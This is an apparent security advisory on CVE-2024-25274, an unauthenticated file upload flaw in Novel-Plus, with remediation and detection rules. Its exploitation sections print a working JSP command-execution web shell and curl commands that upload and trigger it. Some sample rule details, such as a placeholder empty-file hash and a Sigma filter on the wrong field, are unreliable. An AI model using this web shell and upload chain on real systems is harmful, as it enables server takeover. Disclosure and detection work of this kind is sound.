CVE-2024-25274

Executive Summary

CVE-2024-25274 is a critical arbitrary file upload vulnerability discovered in Novel-Plus v4.3.0-RC1, a Java-based open-source novel management system. The flaw resides in the /sysFile/upload endpoint, which fails to properly validate or restrict the types of files being uploaded. An unauthenticated attacker can exploit this by uploading a crafted malicious file (e.g., a JSP web shell) to the server, leading to remote code execution (RCE) with the privileges of the application server. This vulnerability is currently unpatched, and no official fix has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis, but the public availability of proof-of-concept code increases the risk.

Supply Chain & Package Security

Novel-Plus is a Java application typically distributed as a WAR or JAR file. The vulnerability is not in a third-party package but in the application's own file upload handling logic. However, the exploitation may rely on the presence of a Java servlet container (e.g., Apache Tomcat) that can execute JSP files. Organizations using Novel-Plus should treat this as a direct supply chain risk from the application itself.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full file system read access possible.
• Integrity Impact: High (I:H) – Arbitrary file upload allows overwriting critical files.
• Availability Impact: High (A:H) – Can lead to denial of service or full system compromise.

Threat Level: Critical. The combination of network exploitability, no authentication, and high impact makes this a top-priority vulnerability for any organization running Novel-Plus.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload flaw. The /sysFile/upload endpoint in Novel-Plus v4.3.0-RC1 accepts file uploads without proper validation of the file type, content, or extension. The application likely uses a multipart form-data parser to receive the file and then saves it to a directory that is accessible via the web server (e.g., /uploads/ or /static/).

Exploitation Mechanics:

1. Reconnaissance: An attacker identifies a Novel-Plus instance, often via Shodan dorks like http.title:"Novel-Plus".
2. Crafting Payload: The attacker creates a malicious JSP file (e.g., shell.jsp) containing code to execute system commands, such as:

   <%@ page import="java.io.*" %>
   <%
       String cmd = request.getParameter("cmd");
       Process p = Runtime.getRuntime().exec(cmd);
       BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
       String line;
       while ((line = br.readLine()) != null) {
           out.println(line);
       }
   %>
   

3. Upload: The attacker sends a POST request to /sysFile/upload with the malicious file as a multipart form-data parameter.
4. Access: The attacker navigates to the uploaded file's URL (e.g., http://target/upload/shell.jsp?cmd=id) to execute commands.

Why It Works: The application does not check the file extension (e.g., .jsp, .war) or the MIME type. It also does not rename the file or restrict the upload directory to a non-executable location. The web server (e.g., Tomcat) is configured to execute JSP files, so the uploaded file is treated as executable code.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the likely vulnerable code pattern and what a fix would look like.

Vulnerable Code (Hypothetical):

// FileUploadController.java
@PostMapping("/sysFile/upload")
public String uploadFile(@RequestParam("file") MultipartFile file) {
    String fileName = file.getOriginalFilename();
    String uploadDir = "/uploads/";
    File dest = new File(uploadDir + fileName);
    file.transferTo(dest);
    return "File uploaded successfully";
}

Patched Code (Recommended):

// FileUploadController.java
@PostMapping("/sysFile/upload")
public String uploadFile(@RequestParam("file") MultipartFile file) {
    // 1. Validate file extension
    String fileName = file.getOriginalFilename();
    String extension = fileName.substring(fileName.lastIndexOf("."));
    List<String> allowedExtensions = Arrays.asList(".jpg", ".png", ".gif", ".pdf");
    if (!allowedExtensions.contains(extension.toLowerCase())) {
        throw new IllegalArgumentException("Invalid file type");
    }
    
    // 2. Validate MIME type
    String mimeType = file.getContentType();
    if (!mimeType.startsWith("image/") && !mimeType.equals("application/pdf")) {
        throw new IllegalArgumentException("Invalid MIME type");
    }
    
    // 3. Rename file to prevent path traversal
    String safeFileName = UUID.randomUUID().toString() + extension;
    String uploadDir = "/uploads/";
    File dest = new File(uploadDir + safeFileName);
    file.transferTo(dest);
    return "File uploaded successfully";
}

Key Differences:

• Extension Whitelist: Only allow safe extensions (images, PDFs).
• MIME Type Check: Verify the content type matches the expected type.
• Randomized Filename: Prevent path traversal and overwriting existing files.
• Directory Restriction: Ensure the upload directory is outside the web root or configured to not execute scripts.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of Novel-Plus v4.3.0-RC1 (e.g., on a local VM or Docker container).
• A tool like curl, Burp Suite, or a Python script.

Step-by-Step Exploitation:

1. Identify Target:

   curl -s http://target:8080/ | grep "Novel-Plus"
   

2. Create Malicious JSP File: Create shell.jsp with the following content:

   <%@ page import="java.io.*" %>
   <%
       String cmd = request.getParameter("cmd");
       if (cmd != null) {
           Process p = Runtime.getRuntime().exec(cmd);
           BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
           String line;
           while ((line = br.readLine()) != null) {
               out.println(line);
           }
       }
   %>
   

3. Upload the File:

   curl -X POST -F "file=@shell.jsp" http://target:8080/sysFile/upload
   

   The response may contain the file path, e.g., /upload/shell.jsp.

4. Execute Commands:

   curl "http://target:8080/upload/shell.jsp?cmd=id"
   

   Output: uid=1000(tomcat) gid=1000(tomcat) groups=1000(tomcat)

Alternative Payloads:

• WAR File: Upload a malicious WAR file to deploy a web application.
• PHP Shell: If the server also supports PHP (unlikely for Java), use .php files.

Blue Team (Defensive)

Detection Steps:

1. Monitor File Upload Endpoints: Look for POST requests to /sysFile/upload with unusual file extensions (.jsp, .war, .exe).
2. Check Upload Directories: Scan /uploads/ or similar directories for unexpected files.
3. Analyze Logs: Search for patterns like shell.jsp?cmd= in access logs.
4. Network Traffic: Look for outbound connections from the application server after exploitation (e.g., reverse shell).

Hunting Query (Splunk):

index=web_logs source="/var/log/tomcat/access_log*"
| search uri_path="/sysFile/upload" OR uri_path="*/shell.jsp*"
| table _time, clientip, method, uri_path, status

Indicators of Compromise (IOCs)

File-Based IOCs:

• shell.jsp or any .jsp file in unexpected upload directories.
• Files with names like cmd.jsp, webshell.jsp, backdoor.jsp.
• WAR files with suspicious names (e.g., exploit.war).

Network IOCs:

• POST requests to /sysFile/upload with Content-Type: multipart/form-data.
• GET requests to /upload/*.jsp?cmd= or similar patterns.
• Outbound connections to known C2 servers (e.g., on ports 4444, 8080).

Log IOCs:

• Access logs showing 200 status for /sysFile/upload followed by 200 for /upload/*.jsp.
• Error logs with java.io.IOException or FileNotFoundException related to uploads.

YARA Rule:

rule CVE_2024_25274_JSP_Webshell {
    meta:
        description = "Detects JSP webshells uploaded via CVE-2024-25274"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $jsp_tag = "<%@ page"
        $exec = "Runtime.getRuntime().exec"
        $cmd_param = "request.getParameter(\"cmd\")"
    condition:
        all of them
}

Detection Engineering

YARA Rule

rule CVE_2024_25274_Upload_Attempt {
    meta:
        description = "Detects HTTP POST requests to /sysFile/upload with suspicious file extensions"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $upload_path = "/sysFile/upload"
        $jsp_ext = ".jsp"
        $war_ext = ".war"
        $php_ext = ".php"
    condition:
        $upload_path and ($jsp_ext or $war_ext or $php_ext)
}

Sigma Rule

title: CVE-2024-25274 Novel-Plus Arbitrary File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-25274 via file upload to /sysFile/upload
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: tomcat
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/sysFile/upload'
    filter:
        cs-uri-query: '*.jpg' or '*.png' or '*.gif'
    condition: selection and not filter
falsepositives:
    - Legitimate file uploads with safe extensions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-25274 Novel-Plus Arbitrary File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/sysFile/upload"; http_uri; content:".jsp"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable File Upload: If possible, disable the /sysFile/upload endpoint by removing or commenting out the controller code.
2. Web Application Firewall (WAF): Deploy a WAF rule to block POST requests to /sysFile/upload with file extensions .jsp, .war, .php, .exe.
3. Directory Permissions: Ensure the upload directory is not executable. For Tomcat, add a <security-constraint> in web.xml to deny access to the upload directory.
4. Input Validation: Implement server-side validation of file extensions and MIME types (see patched code above).

Long-Term Fix:

• Apply the vendor's patch when available.
• Upgrade to a patched version of Novel-Plus.
• Conduct a security audit of all file upload functionalities.

Workaround:

• Use a reverse proxy (e.g., Nginx) to block access to the upload directory:

  location /upload/ {
      deny all;
      return 403;
  }
  

Valters IT